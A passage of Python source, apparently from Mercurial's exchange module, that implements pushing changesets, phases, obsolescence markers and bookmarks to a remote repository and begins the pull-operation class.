         self.newbranch = newbranch
         # step already performed
         # (used to check what steps have been already performed through bundle2)
         self.stepsdone = set()
         # Integer version of the changegroup push result
         # - None means nothing to push
         # - 0 means HTTP error
         # - 1 means we pushed and remote head count is unchanged *or*
         #   we have outgoing changesets but refused to push
         # - other values as described by addchangegroup()
         self.cgresult = None
         # Boolean value for the bookmark push
         self.bkresult = None
         # discover.outgoing object (contains common and outgoing data)
         self.outgoing = None
         # all remote topological heads before the push
         self.remoteheads = None
         # Details of the remote branch pre and post push
         #
         # mapping: {'branch': ([remoteheads],
         #                      [newheads],
         #                      [unsyncedheads],
         #                      [discardedheads])}
         # - branch: the branch name
         # - remoteheads: the list of remote heads known locally
         #                None if the branch is new
         # - newheads: the new remote heads (known locally) with outgoing pushed
         # - unsyncedheads: the list of remote heads unknown locally.
         # - discardedheads: the list of remote heads made obsolete by the push
         self.pushbranchmap = None
         # testable as a boolean indicating if any nodes are missing locally.
         self.incoming = None
         # summary of the remote phase situation
         self.remotephases = None
         # phases changes that must be pushed along side the changesets
         self.outdatedphases = None
         # phases changes that must be pushed if changeset push fails
         self.fallbackoutdatedphases = None
         # outgoing obsmarkers
         self.outobsmarkers = set()
         # outgoing bookmarks, list of (bm, oldnode | '', newnode | '')
         self.outbookmarks = []
         # transaction manager
         self.trmanager = None
         # map { pushkey partid -> callback handling failure}
         # used to handle exception from mandatory pushkey part failure
         self.pkfailcb = {}
         # an iterable of pushvars or None
         self.pushvars = pushvars
         # publish pushed changesets
         self.publish = publish
 
     @util.propertycache
     def futureheads(self):
         """future remote heads if the changeset push succeeds"""
         return self.outgoing.missingheads
 
     @util.propertycache
     def fallbackheads(self):
         """future remote heads if the changeset push fails"""
         if self.revs is None:
             # not target to push, all common are relevant
             return self.outgoing.commonheads
         unfi = self.repo.unfiltered()
         # I want cheads = heads(::missingheads and ::commonheads)
         # (missingheads is revs with secret changeset filtered out)
         #
         # This can be expressed as:
         #     cheads = ( (missingheads and ::commonheads)
         #              + (commonheads and ::missingheads))"
         #              )
         #
         # while trying to push we already computed the following:
         #     common = (::commonheads)
         #     missing = ((commonheads::missingheads) - commonheads)
         #
         # We can pick:
         # * missingheads part of common (::commonheads)
         common = self.outgoing.common
         rev = self.repo.changelog.index.rev
         cheads = [node for node in self.revs if rev(node) in common]
         # and
         # * commonheads parents on missing
         revset = unfi.set(
             b'%ln and parents(roots(%ln))',
             self.outgoing.commonheads,
             self.outgoing.missing,
         )
         cheads.extend(c.node() for c in revset)
         return cheads
 
     @property
     def commonheads(self):
         """set of all common heads after changeset bundle push"""
         if self.cgresult:
             return self.futureheads
         else:
             return self.fallbackheads
 
 
 # mapping of message used when pushing bookmark
 bookmsgmap = {
     b'update': (
         _(b"updating bookmark %s\n"),
         _(b'updating bookmark %s failed!\n'),
     ),
     b'export': (
         _(b"exporting bookmark %s\n"),
         _(b'exporting bookmark %s failed!\n'),
     ),
     b'delete': (
         _(b"deleting remote bookmark %s\n"),
         _(b'deleting remote bookmark %s failed!\n'),
     ),
 }
 
 
 def push(
     repo,
     remote,
     force=False,
     revs=None,
     newbranch=False,
     bookmarks=(),
     publish=False,
     opargs=None,
 ):
     '''Push outgoing changesets (limited by revs) from a local
     repository to remote. Return an integer:
       - None means nothing to push
       - 0 means HTTP error
       - 1 means we pushed and remote head count is unchanged *or*
         we have outgoing changesets but refused to push
       - other values as described by addchangegroup()
     '''
     if opargs is None:
         opargs = {}
     pushop = pushoperation(
         repo,
         remote,
         force,
         revs,
         newbranch,
         bookmarks,
         publish,
         **pycompat.strkwargs(opargs)
     )
     if pushop.remote.local():
         missing = (
             set(pushop.repo.requirements) - pushop.remote.local().supported
         )
         if missing:
             msg = _(
                 b"required features are not"
                 b" supported in the destination:"
                 b" %s"
             ) % (b', '.join(sorted(missing)))
             raise error.Abort(msg)
 
     if not pushop.remote.canpush():
         raise error.Abort(_(b"destination does not support push"))
 
     if not pushop.remote.capable(b'unbundle'):
         raise error.Abort(
             _(
                 b'cannot push: destination does not support the '
                 b'unbundle wire protocol command'
             )
         )
 
     # get lock as we might write phase data
     wlock = lock = None
     try:
         # bundle2 push may receive a reply bundle touching bookmarks
         # requiring the wlock. Take it now to ensure proper ordering.
         maypushback = pushop.ui.configbool(b'experimental', b'bundle2.pushback')
         if (
             (not _forcebundle1(pushop))
             and maypushback
             and not bookmod.bookmarksinstore(repo)
         ):
             wlock = pushop.repo.wlock()
         lock = pushop.repo.lock()
         pushop.trmanager = transactionmanager(
             pushop.repo, b'push-response', pushop.remote.url()
         )
     except error.LockUnavailable as err:
         # source repo cannot be locked.
         # We do not abort the push, but just disable the local phase
         # synchronisation.
         msg = b'cannot lock source repository: %s\n' % stringutil.forcebytestr(
             err
         )
         pushop.ui.debug(msg)
 
     with wlock or util.nullcontextmanager():
         with lock or util.nullcontextmanager():
             with pushop.trmanager or util.nullcontextmanager():
                 pushop.repo.checkpush(pushop)
                 _checkpublish(pushop)
                 _pushdiscovery(pushop)
                 if not pushop.force:
                     _checksubrepostate(pushop)
                 if not _forcebundle1(pushop):
                     _pushbundle2(pushop)
                 _pushchangeset(pushop)
                 _pushsyncphase(pushop)
                 _pushobsolete(pushop)
                 _pushbookmark(pushop)
 
     if repo.ui.configbool(b'experimental', b'remotenames'):
         logexchange.pullremotenames(repo, remote)
 
     return pushop
 
 
 # list of steps to perform discovery before push
 pushdiscoveryorder = []
 
 # Mapping between step name and function
 #
 # This exists to help extensions wrap steps if necessary
 pushdiscoverymapping = {}
 
 
 def pushdiscovery(stepname):
     """decorator for function performing discovery before push
 
     The function is added to the step -> function mapping and appended to the
     list of steps.  Beware that decorated function will be added in order (this
     may matter).
 
     You can only use this decorator for a new step, if you want to wrap a step
     from an extension, change the pushdiscovery dictionary directly."""
 
     def dec(func):
         assert stepname not in pushdiscoverymapping
         pushdiscoverymapping[stepname] = func
         pushdiscoveryorder.append(stepname)
         return func
 
     return dec
 
 
 def _pushdiscovery(pushop):
     """Run all discovery steps"""
     for stepname in pushdiscoveryorder:
         step = pushdiscoverymapping[stepname]
         step(pushop)
 
 
 def _checksubrepostate(pushop):
     """Ensure all outgoing referenced subrepo revisions are present locally"""
     for n in pushop.outgoing.missing:
         ctx = pushop.repo[n]
 
         if b'.hgsub' in ctx.manifest() and b'.hgsubstate' in ctx.files():
             for subpath in sorted(ctx.substate):
                 sub = ctx.sub(subpath)
                 sub.verify(onpush=True)
 
 
 @pushdiscovery(b'changeset')
 def _pushdiscoverychangeset(pushop):
     """discover the changeset that need to be pushed"""
     fci = discovery.findcommonincoming
     if pushop.revs:
         commoninc = fci(
             pushop.repo,
             pushop.remote,
             force=pushop.force,
             ancestorsof=pushop.revs,
         )
     else:
         commoninc = fci(pushop.repo, pushop.remote, force=pushop.force)
     common, inc, remoteheads = commoninc
     fco = discovery.findcommonoutgoing
     outgoing = fco(
         pushop.repo,
         pushop.remote,
         onlyheads=pushop.revs,
         commoninc=commoninc,
         force=pushop.force,
     )
     pushop.outgoing = outgoing
     pushop.remoteheads = remoteheads
     pushop.incoming = inc
 
 
 @pushdiscovery(b'phase')
 def _pushdiscoveryphase(pushop):
     """discover the phase that needs to be pushed
 
     (computed for both success and failure case for changesets push)"""
     outgoing = pushop.outgoing
     unfi = pushop.repo.unfiltered()
     remotephases = listkeys(pushop.remote, b'phases')
 
     if (
         pushop.ui.configbool(b'ui', b'_usedassubrepo')
         and remotephases  # server supports phases
         and not pushop.outgoing.missing  # no changesets to be pushed
         and remotephases.get(b'publishing', False)
     ):
         # When:
         # - this is a subrepo push
         # - and remote support phase
         # - and no changeset are to be pushed
         # - and remote is publishing
         # We may be in issue 3781 case!
         # We drop the possible phase synchronisation done by
         # courtesy to publish changesets possibly locally draft
         # on the remote.
         pushop.outdatedphases = []
         pushop.fallbackoutdatedphases = []
         return
 
     pushop.remotephases = phases.remotephasessummary(
         pushop.repo, pushop.fallbackheads, remotephases
     )
     droots = pushop.remotephases.draftroots
 
     extracond = b''
     if not pushop.remotephases.publishing:
         extracond = b' and public()'
     revset = b'heads((%%ln::%%ln) %s)' % extracond
     # Get the list of all revs draft on remote by public here.
     # XXX Beware that revset break if droots is not strictly
     # XXX root we may want to ensure it is but it is costly
     fallback = list(unfi.set(revset, droots, pushop.fallbackheads))
     if not pushop.remotephases.publishing and pushop.publish:
         future = list(
             unfi.set(
                 b'%ln and (not public() or %ln::)', pushop.futureheads, droots
             )
         )
     elif not outgoing.missing:
         future = fallback
     else:
         # adds changeset we are going to push as draft
         #
         # should not be necessary for publishing server, but because of an
         # issue fixed in xxxxx we have to do it anyway.
         fdroots = list(
             unfi.set(b'roots(%ln  + %ln::)', outgoing.missing, droots)
         )
         fdroots = [f.node() for f in fdroots]
         future = list(unfi.set(revset, fdroots, pushop.futureheads))
     pushop.outdatedphases = future
     pushop.fallbackoutdatedphases = fallback
 
 
 @pushdiscovery(b'obsmarker')
 def _pushdiscoveryobsmarkers(pushop):
     if not obsolete.isenabled(pushop.repo, obsolete.exchangeopt):
         return
 
     if not pushop.repo.obsstore:
         return
 
     if b'obsolete' not in listkeys(pushop.remote, b'namespaces'):
         return
 
     repo = pushop.repo
     # very naive computation, that can be quite expensive on big repo.
     # However: evolution is currently slow on them anyway.
     nodes = (c.node() for c in repo.set(b'::%ln', pushop.futureheads))
     pushop.outobsmarkers = pushop.repo.obsstore.relevantmarkers(nodes)
 
 
 @pushdiscovery(b'bookmarks')
 def _pushdiscoverybookmarks(pushop):
     ui = pushop.ui
     repo = pushop.repo.unfiltered()
     remote = pushop.remote
     ui.debug(b"checking for updated bookmarks\n")
     ancestors = ()
     if pushop.revs:
         revnums = pycompat.maplist(repo.changelog.rev, pushop.revs)
         ancestors = repo.changelog.ancestors(revnums, inclusive=True)
 
     remotebookmark = bookmod.unhexlifybookmarks(listkeys(remote, b'bookmarks'))
 
     explicit = {
         repo._bookmarks.expandname(bookmark) for bookmark in pushop.bookmarks
     }
 
     comp = bookmod.comparebookmarks(repo, repo._bookmarks, remotebookmark)
     return _processcompared(pushop, ancestors, explicit, remotebookmark, comp)
 
 
 def _processcompared(pushop, pushed, explicit, remotebms, comp):
     """take decision on bookmarks to push to the remote repo
 
     Exists to help extensions alter this behavior.
     """
     addsrc, adddst, advsrc, advdst, diverge, differ, invalid, same = comp
 
     repo = pushop.repo
 
     for b, scid, dcid in advsrc:
         if b in explicit:
             explicit.remove(b)
         if not pushed or repo[scid].rev() in pushed:
             pushop.outbookmarks.append((b, dcid, scid))
     # search added bookmark
     for b, scid, dcid in addsrc:
         if b in explicit:
             explicit.remove(b)
             pushop.outbookmarks.append((b, b'', scid))
     # search for overwritten bookmark
     for b, scid, dcid in list(advdst) + list(diverge) + list(differ):
         if b in explicit:
             explicit.remove(b)
             pushop.outbookmarks.append((b, dcid, scid))
     # search for bookmark to delete
     for b, scid, dcid in adddst:
         if b in explicit:
             explicit.remove(b)
             # treat as "deleted locally"
             pushop.outbookmarks.append((b, dcid, b''))
     # identical bookmarks shouldn't get reported
     for b, scid, dcid in same:
         if b in explicit:
             explicit.remove(b)
 
     if explicit:
         explicit = sorted(explicit)
         # we should probably list all of them
         pushop.ui.warn(
             _(
                 b'bookmark %s does not exist on the local '
                 b'or remote repository!\n'
             )
             % explicit[0]
         )
         pushop.bkresult = 2
 
     pushop.outbookmarks.sort()
 
 
 def _pushcheckoutgoing(pushop):
     outgoing = pushop.outgoing
     unfi = pushop.repo.unfiltered()
     if not outgoing.missing:
         # nothing to push
         scmutil.nochangesfound(unfi.ui, unfi, outgoing.excluded)
         return False
     # something to push
     if not pushop.force:
         # if repo.obsstore == False --> no obsolete
         # then, save the iteration
         if unfi.obsstore:
             # this message are here for 80 char limit reason
             mso = _(b"push includes obsolete changeset: %s!")
             mspd = _(b"push includes phase-divergent changeset: %s!")
             mscd = _(b"push includes content-divergent changeset: %s!")
             mst = {
                 b"orphan": _(b"push includes orphan changeset: %s!"),
                 b"phase-divergent": mspd,
                 b"content-divergent": mscd,
             }
             # If we are to push if there is at least one
             # obsolete or unstable changeset in missing, at
             # least one of the missinghead will be obsolete or
             # unstable. So checking heads only is ok
             for node in outgoing.missingheads:
                 ctx = unfi[node]
                 if ctx.obsolete():
                     raise error.Abort(mso % ctx)
                 elif ctx.isunstable():
                     # TODO print more than one instability in the abort
                     # message
                     raise error.Abort(mst[ctx.instabilities()[0]] % ctx)
 
         discovery.checkheads(pushop)
     return True
 
 
 # List of names of steps to perform for an outgoing bundle2, order matters.
 b2partsgenorder = []
 
 # Mapping between step name and function
 #
 # This exists to help extensions wrap steps if necessary
 b2partsgenmapping = {}
 
 
 def b2partsgenerator(stepname, idx=None):
     """decorator for function generating bundle2 part
 
     The function is added to the step -> function mapping and appended to the
     list of steps.  Beware that decorated functions will be added in order
     (this may matter).
 
     You can only use this decorator for new steps, if you want to wrap a step
     from an extension, attack the b2partsgenmapping dictionary directly."""
 
     def dec(func):
         assert stepname not in b2partsgenmapping
         b2partsgenmapping[stepname] = func
         if idx is None:
             b2partsgenorder.append(stepname)
         else:
             b2partsgenorder.insert(idx, stepname)
         return func
 
     return dec
 
 
 def _pushb2ctxcheckheads(pushop, bundler):
     """Generate race condition checking parts
 
     Exists as an independent function to aid extensions
     """
     # * 'force' do not check for push race,
     # * if we don't push anything, there are nothing to check.
     if not pushop.force and pushop.outgoing.missingheads:
         allowunrelated = b'related' in bundler.capabilities.get(
             b'checkheads', ()
         )
         emptyremote = pushop.pushbranchmap is None
         if not allowunrelated or emptyremote:
             bundler.newpart(b'check:heads', data=iter(pushop.remoteheads))
         else:
             affected = set()
             for branch, heads in pycompat.iteritems(pushop.pushbranchmap):
                 remoteheads, newheads, unsyncedheads, discardedheads = heads
                 if remoteheads is not None:
                     remote = set(remoteheads)
                     affected |= set(discardedheads) & remote
                     affected |= remote - set(newheads)
             if affected:
                 data = iter(sorted(affected))
                 bundler.newpart(b'check:updated-heads', data=data)
 
 
 def _pushing(pushop):
     """return True if we are pushing anything"""
     return bool(
         pushop.outgoing.missing
         or pushop.outdatedphases
         or pushop.outobsmarkers
         or pushop.outbookmarks
     )
 
 
 @b2partsgenerator(b'check-bookmarks')
 def _pushb2checkbookmarks(pushop, bundler):
     """insert bookmark move checking"""
     if not _pushing(pushop) or pushop.force:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
     hasbookmarkcheck = b'bookmarks' in b2caps
     if not (pushop.outbookmarks and hasbookmarkcheck):
         return
     data = []
     for book, old, new in pushop.outbookmarks:
         data.append((book, old))
     checkdata = bookmod.binaryencode(data)
     bundler.newpart(b'check:bookmarks', data=checkdata)
 
 
 @b2partsgenerator(b'check-phases')
 def _pushb2checkphases(pushop, bundler):
     """insert phase move checking"""
     if not _pushing(pushop) or pushop.force:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
     hasphaseheads = b'heads' in b2caps.get(b'phases', ())
     if pushop.remotephases is not None and hasphaseheads:
         # check that the remote phase has not changed
         checks = [[] for p in phases.allphases]
         checks[phases.public].extend(pushop.remotephases.publicheads)
         checks[phases.draft].extend(pushop.remotephases.draftroots)
         if any(checks):
             for nodes in checks:
                 nodes.sort()
             checkdata = phases.binaryencode(checks)
             bundler.newpart(b'check:phases', data=checkdata)
 
 
 @b2partsgenerator(b'changeset')
 def _pushb2ctx(pushop, bundler):
     """handle changegroup push through bundle2
 
     addchangegroup result is stored in the ``pushop.cgresult`` attribute.
     """
     if b'changesets' in pushop.stepsdone:
         return
     pushop.stepsdone.add(b'changesets')
     # Send known heads to the server for race detection.
     if not _pushcheckoutgoing(pushop):
         return
     pushop.repo.prepushoutgoinghooks(pushop)
 
     _pushb2ctxcheckheads(pushop, bundler)
 
     b2caps = bundle2.bundle2caps(pushop.remote)
     version = b'01'
     cgversions = b2caps.get(b'changegroup')
     if cgversions:  # 3.1 and 3.2 ship with an empty value
         cgversions = [
             v
             for v in cgversions
             if v in changegroup.supportedoutgoingversions(pushop.repo)
         ]
         if not cgversions:
             raise error.Abort(_(b'no common changegroup version'))
         version = max(cgversions)
     cgstream = changegroup.makestream(
         pushop.repo, pushop.outgoing, version, b'push'
     )
     cgpart = bundler.newpart(b'changegroup', data=cgstream)
     if cgversions:
         cgpart.addparam(b'version', version)
     if b'treemanifest' in pushop.repo.requirements:
         cgpart.addparam(b'treemanifest', b'1')
     if b'exp-sidedata-flag' in pushop.repo.requirements:
         cgpart.addparam(b'exp-sidedata', b'1')
 
     def handlereply(op):
         """extract addchangegroup returns from server reply"""
         cgreplies = op.records.getreplies(cgpart.id)
         assert len(cgreplies[b'changegroup']) == 1
         pushop.cgresult = cgreplies[b'changegroup'][0][b'return']
 
     return handlereply
 
 
 @b2partsgenerator(b'phase')
 def _pushb2phases(pushop, bundler):
     """handle phase push through bundle2"""
     if b'phases' in pushop.stepsdone:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
     ui = pushop.repo.ui
 
     legacyphase = b'phases' in ui.configlist(b'devel', b'legacy.exchange')
     haspushkey = b'pushkey' in b2caps
     hasphaseheads = b'heads' in b2caps.get(b'phases', ())
 
     if hasphaseheads and not legacyphase:
         return _pushb2phaseheads(pushop, bundler)
     elif haspushkey:
         return _pushb2phasespushkey(pushop, bundler)
 
 
 def _pushb2phaseheads(pushop, bundler):
     """push phase information through a bundle2 - binary part"""
     pushop.stepsdone.add(b'phases')
     if pushop.outdatedphases:
         updates = [[] for p in phases.allphases]
         updates[0].extend(h.node() for h in pushop.outdatedphases)
         phasedata = phases.binaryencode(updates)
         bundler.newpart(b'phase-heads', data=phasedata)
 
 
 def _pushb2phasespushkey(pushop, bundler):
     """push phase information through a bundle2 - pushkey part"""
     pushop.stepsdone.add(b'phases')
     part2node = []
 
     def handlefailure(pushop, exc):
         targetid = int(exc.partid)
         for partid, node in part2node:
             if partid == targetid:
                 raise error.Abort(_(b'updating %s to public failed') % node)
 
     enc = pushkey.encode
     for newremotehead in pushop.outdatedphases:
         part = bundler.newpart(b'pushkey')
         part.addparam(b'namespace', enc(b'phases'))
         part.addparam(b'key', enc(newremotehead.hex()))
         part.addparam(b'old', enc(b'%d' % phases.draft))
         part.addparam(b'new', enc(b'%d' % phases.public))
         part2node.append((part.id, newremotehead))
         pushop.pkfailcb[part.id] = handlefailure
 
     def handlereply(op):
         for partid, node in part2node:
             partrep = op.records.getreplies(partid)
             results = partrep[b'pushkey']
             assert len(results) <= 1
             msg = None
             if not results:
                 msg = _(b'server ignored update of %s to public!\n') % node
             elif not int(results[0][b'return']):
                 msg = _(b'updating %s to public failed!\n') % node
             if msg is not None:
                 pushop.ui.warn(msg)
 
     return handlereply
 
 
 @b2partsgenerator(b'obsmarkers')
 def _pushb2obsmarkers(pushop, bundler):
     if b'obsmarkers' in pushop.stepsdone:
         return
     remoteversions = bundle2.obsmarkersversion(bundler.capabilities)
     if obsolete.commonversion(remoteversions) is None:
         return
     pushop.stepsdone.add(b'obsmarkers')
     if pushop.outobsmarkers:
         markers = obsutil.sortedmarkers(pushop.outobsmarkers)
         bundle2.buildobsmarkerspart(bundler, markers)
 
 
 @b2partsgenerator(b'bookmarks')
 def _pushb2bookmarks(pushop, bundler):
     """handle bookmark push through bundle2"""
     if b'bookmarks' in pushop.stepsdone:
         return
     b2caps = bundle2.bundle2caps(pushop.remote)
 
     legacy = pushop.repo.ui.configlist(b'devel', b'legacy.exchange')
     legacybooks = b'bookmarks' in legacy
 
     if not legacybooks and b'bookmarks' in b2caps:
         return _pushb2bookmarkspart(pushop, bundler)
     elif b'pushkey' in b2caps:
         return _pushb2bookmarkspushkey(pushop, bundler)
 
 
 def _bmaction(old, new):
     """small utility for bookmark pushing"""
     if not old:
         return b'export'
     elif not new:
         return b'delete'
     return b'update'
 
 
 def _abortonsecretctx(pushop, node, b):
     """abort if a given bookmark points to a secret changeset"""
     if node and pushop.repo[node].phase() == phases.secret:
         raise error.Abort(
             _(b'cannot push bookmark %s as it points to a secret changeset') % b
         )
 
 
 def _pushb2bookmarkspart(pushop, bundler):
     pushop.stepsdone.add(b'bookmarks')
     if not pushop.outbookmarks:
         return
 
     allactions = []
     data = []
     for book, old, new in pushop.outbookmarks:
         _abortonsecretctx(pushop, new, book)
         data.append((book, new))
         allactions.append((book, _bmaction(old, new)))
     checkdata = bookmod.binaryencode(data)
     bundler.newpart(b'bookmarks', data=checkdata)
 
     def handlereply(op):
         ui = pushop.ui
         # if success
         for book, action in allactions:
             ui.status(bookmsgmap[action][0] % book)
 
     return handlereply
 
 
 def _pushb2bookmarkspushkey(pushop, bundler):
     pushop.stepsdone.add(b'bookmarks')
     part2book = []
     enc = pushkey.encode
 
     def handlefailure(pushop, exc):
         targetid = int(exc.partid)
         for partid, book, action in part2book:
             if partid == targetid:
                 raise error.Abort(bookmsgmap[action][1].rstrip() % book)
         # we should not be called for part we did not generated
         assert False
 
     for book, old, new in pushop.outbookmarks:
         _abortonsecretctx(pushop, new, book)
         part = bundler.newpart(b'pushkey')
         part.addparam(b'namespace', enc(b'bookmarks'))
         part.addparam(b'key', enc(book))
         part.addparam(b'old', enc(hex(old)))
         part.addparam(b'new', enc(hex(new)))
         action = b'update'
         if not old:
             action = b'export'
         elif not new:
             action = b'delete'
         part2book.append((part.id, book, action))
         pushop.pkfailcb[part.id] = handlefailure
 
     def handlereply(op):
         ui = pushop.ui
         for partid, book, action in part2book:
             partrep = op.records.getreplies(partid)
             results = partrep[b'pushkey']
             assert len(results) <= 1
             if not results:
                 pushop.ui.warn(_(b'server ignored bookmark %s update\n') % book)
             else:
                 ret = int(results[0][b'return'])
                 if ret:
                     ui.status(bookmsgmap[action][0] % book)
                 else:
                     ui.warn(bookmsgmap[action][1] % book)
                     if pushop.bkresult is not None:
                         pushop.bkresult = 1
 
     return handlereply
 
 
 @b2partsgenerator(b'pushvars', idx=0)
 def _getbundlesendvars(pushop, bundler):
     '''send shellvars via bundle2'''
     pushvars = pushop.pushvars
     if pushvars:
         shellvars = {}
         for raw in pushvars:
             if b'=' not in raw:
                 msg = (
                     b"unable to parse variable '%s', should follow "
                     b"'KEY=VALUE' or 'KEY=' format"
                 )
                 raise error.Abort(msg % raw)
             k, v = raw.split(b'=', 1)
             shellvars[k] = v
 
         part = bundler.newpart(b'pushvars')
 
         for key, value in pycompat.iteritems(shellvars):
             part.addparam(key, value, mandatory=False)
 
 
 def _pushbundle2(pushop):
     """push data to the remote using bundle2
 
     The only currently supported type of data is changegroup but this will
     evolve in the future."""
     bundler = bundle2.bundle20(pushop.ui, bundle2.bundle2caps(pushop.remote))
     pushback = pushop.trmanager and pushop.ui.configbool(
         b'experimental', b'bundle2.pushback'
     )
 
     # create reply capability
     capsblob = bundle2.encodecaps(
         bundle2.getrepocaps(pushop.repo, allowpushback=pushback, role=b'client')
     )
     bundler.newpart(b'replycaps', data=capsblob)
     replyhandlers = []
     for partgenname in b2partsgenorder:
         partgen = b2partsgenmapping[partgenname]
         ret = partgen(pushop, bundler)
         if callable(ret):
             replyhandlers.append(ret)
     # do not push if nothing to push
     if bundler.nbparts <= 1:
         return
     stream = util.chunkbuffer(bundler.getchunks())
     try:
         try:
             with pushop.remote.commandexecutor() as e:
                 reply = e.callcommand(
                     b'unbundle',
                     {
                         b'bundle': stream,
                         b'heads': [b'force'],
                         b'url': pushop.remote.url(),
                     },
                 ).result()
         except error.BundleValueError as exc:
             raise error.Abort(_(b'missing support for %s') % exc)
         try:
             trgetter = None
             if pushback:
                 trgetter = pushop.trmanager.transaction
             op = bundle2.processbundle(pushop.repo, reply, trgetter)
         except error.BundleValueError as exc:
             raise error.Abort(_(b'missing support for %s') % exc)
         except bundle2.AbortFromPart as exc:
             pushop.ui.status(_(b'remote: %s\n') % exc)
             if exc.hint is not None:
                 pushop.ui.status(_(b'remote: %s\n') % (b'(%s)' % exc.hint))
             raise error.Abort(_(b'push failed on remote'))
     except error.PushkeyFailed as exc:
         partid = int(exc.partid)
         if partid not in pushop.pkfailcb:
             raise
         pushop.pkfailcb[partid](pushop, exc)
     for rephand in replyhandlers:
         rephand(op)
 
 
 def _pushchangeset(pushop):
     """Make the actual push of changeset bundle to remote repo"""
     if b'changesets' in pushop.stepsdone:
         return
     pushop.stepsdone.add(b'changesets')
     if not _pushcheckoutgoing(pushop):
         return
 
     # Should have verified this in push().
     assert pushop.remote.capable(b'unbundle')
 
     pushop.repo.prepushoutgoinghooks(pushop)
     outgoing = pushop.outgoing
     # TODO: get bundlecaps from remote
     bundlecaps = None
     # create a changegroup from local
     if pushop.revs is None and not (
         outgoing.excluded or pushop.repo.changelog.filteredrevs
     ):
         # push everything,
         # use the fast path, no race possible on push
         cg = changegroup.makechangegroup(
             pushop.repo,
             outgoing,
             b'01',
             b'push',
             fastpath=True,
             bundlecaps=bundlecaps,
         )
     else:
         cg = changegroup.makechangegroup(
             pushop.repo, outgoing, b'01', b'push', bundlecaps=bundlecaps
         )
 
     # apply changegroup to remote
     # local repo finds heads on server, finds out what
     # revs it must push. once revs transferred, if server
     # finds it has different heads (someone else won
     # commit/push race), server aborts.
     if pushop.force:
         remoteheads = [b'force']
     else:
         remoteheads = pushop.remoteheads
     # ssh: return remote's addchangegroup()
     # http: return remote's addchangegroup() or 0 for error
     pushop.cgresult = pushop.remote.unbundle(cg, remoteheads, pushop.repo.url())
 
 
 def _pushsyncphase(pushop):
     """synchronise phase information locally and remotely"""
     cheads = pushop.commonheads
     # even when we don't push, exchanging phase data is useful
     remotephases = listkeys(pushop.remote, b'phases')
     if (
         pushop.ui.configbool(b'ui', b'_usedassubrepo')
         and remotephases  # server supports phases
         and pushop.cgresult is None  # nothing was pushed
         and remotephases.get(b'publishing', False)
     ):
         # When:
         # - this is a subrepo push
         # - and remote support phase
         # - and no changeset was pushed
         # - and remote is publishing
         # We may be in issue 3871 case!
         # We drop the possible phase synchronisation done by
         # courtesy to publish changesets possibly locally draft
         # on the remote.
         remotephases = {b'publishing': b'True'}
     if not remotephases:  # old server or public only reply from non-publishing
         _localphasemove(pushop, cheads)
         # don't push any phase data as there is nothing to push
     else:
         ana = phases.analyzeremotephases(pushop.repo, cheads, remotephases)
         pheads, droots = ana
         ### Apply remote phase on local
         if remotephases.get(b'publishing', False):
             _localphasemove(pushop, cheads)
         else:  # publish = False
             _localphasemove(pushop, pheads)
             _localphasemove(pushop, cheads, phases.draft)
         ### Apply local phase on remote
 
         if pushop.cgresult:
             if b'phases' in pushop.stepsdone:
                 # phases already pushed though bundle2
                 return
             outdated = pushop.outdatedphases
         else:
             outdated = pushop.fallbackoutdatedphases
 
         pushop.stepsdone.add(b'phases')
 
         # filter heads already turned public by the push
         outdated = [c for c in outdated if c.node() not in pheads]
         # fallback to independent pushkey command
         for newremotehead in outdated:
             with pushop.remote.commandexecutor() as e:
                 r = e.callcommand(
                     b'pushkey',
                     {
                         b'namespace': b'phases',
                         b'key': newremotehead.hex(),
                         b'old': b'%d' % phases.draft,
                         b'new': b'%d' % phases.public,
                     },
                 ).result()
 
             if not r:
                 pushop.ui.warn(
                     _(b'updating %s to public failed!\n') % newremotehead
                 )
 
 
 def _localphasemove(pushop, nodes, phase=phases.public):
     """move <nodes> to <phase> in the local source repo"""
     if pushop.trmanager:
         phases.advanceboundary(
             pushop.repo, pushop.trmanager.transaction(), phase, nodes
         )
     else:
         # repo is not locked, do not change any phases!
         # Informs the user that phases should have been moved when
         # applicable.
         actualmoves = [n for n in nodes if phase < pushop.repo[n].phase()]
         phasestr = phases.phasenames[phase]
         if actualmoves:
             pushop.ui.status(
                 _(
                     b'cannot lock source repo, skipping '
                     b'local %s phase update\n'
                 )
                 % phasestr
             )
 
 
 def _pushobsolete(pushop):
     """utility function to push obsolete markers to a remote"""
     if b'obsmarkers' in pushop.stepsdone:
         return
     repo = pushop.repo
     remote = pushop.remote
     pushop.stepsdone.add(b'obsmarkers')
     if pushop.outobsmarkers:
         pushop.ui.debug(b'try to push obsolete markers to remote\n')
         rslts = []
         markers = obsutil.sortedmarkers(pushop.outobsmarkers)
         remotedata = obsolete._pushkeyescape(markers)
         for key in sorted(remotedata, reverse=True):
             # reverse sort to ensure we end with dump0
             data = remotedata[key]
             rslts.append(remote.pushkey(b'obsolete', key, b'', data))
         if [r for r in rslts if not r]:
             msg = _(b'failed to push some obsolete markers!\n')
             repo.ui.warn(msg)
 
 
 def _pushbookmark(pushop):
     """Update bookmark position on remote"""
     if pushop.cgresult == 0 or b'bookmarks' in pushop.stepsdone:
         return
     pushop.stepsdone.add(b'bookmarks')
     ui = pushop.ui
     remote = pushop.remote
 
     for b, old, new in pushop.outbookmarks:
         action = b'update'
         if not old:
             action = b'export'
         elif not new:
             action = b'delete'
 
         with remote.commandexecutor() as e:
             r = e.callcommand(
                 b'pushkey',
                 {
                     b'namespace': b'bookmarks',
                     b'key': b,
                     b'old': hex(old),
                     b'new': hex(new),
                 },
             ).result()
 
         if r:
             ui.status(bookmsgmap[action][0] % b)
         else:
             ui.warn(bookmsgmap[action][1] % b)
             # discovery can have set the value form invalid entry
             if pushop.bkresult is not None:
                 pushop.bkresult = 1
 
 
 class pulloperation(object):
     """A object that represent a single pull operation
 
     It purpose is to carry pull related state and very common operation.
 
     A new should be created at the beginning of each pull and discarded
     afterward.
     """
 
     def __init__(
         self,
         repo,
         remote,
         heads=None,
         force=False,
         bookmarks=(),
         remotebookmarks=None,
         streamclonerequested=None,
         includepats=None,
         excludepats=None,
         depth=None,
     ):
         # repo we pull into
         self.repo = repo
         # repo we pull from
         self.remote = remote
         # revision we try to pull (None is "all")
         self.heads = heads
         # bookmark pulled explicitly
         self.explicitbookmarks = [
             repo._bookmarks.expandname(bookmark) for bookmark in bookmarks
         ]
         # do we force pull?
         self.force = force
         # whether a streaming clone was requested
         self.streamclonerequested = streamclonerequested
         # transaction manager
         self.trmanager = None
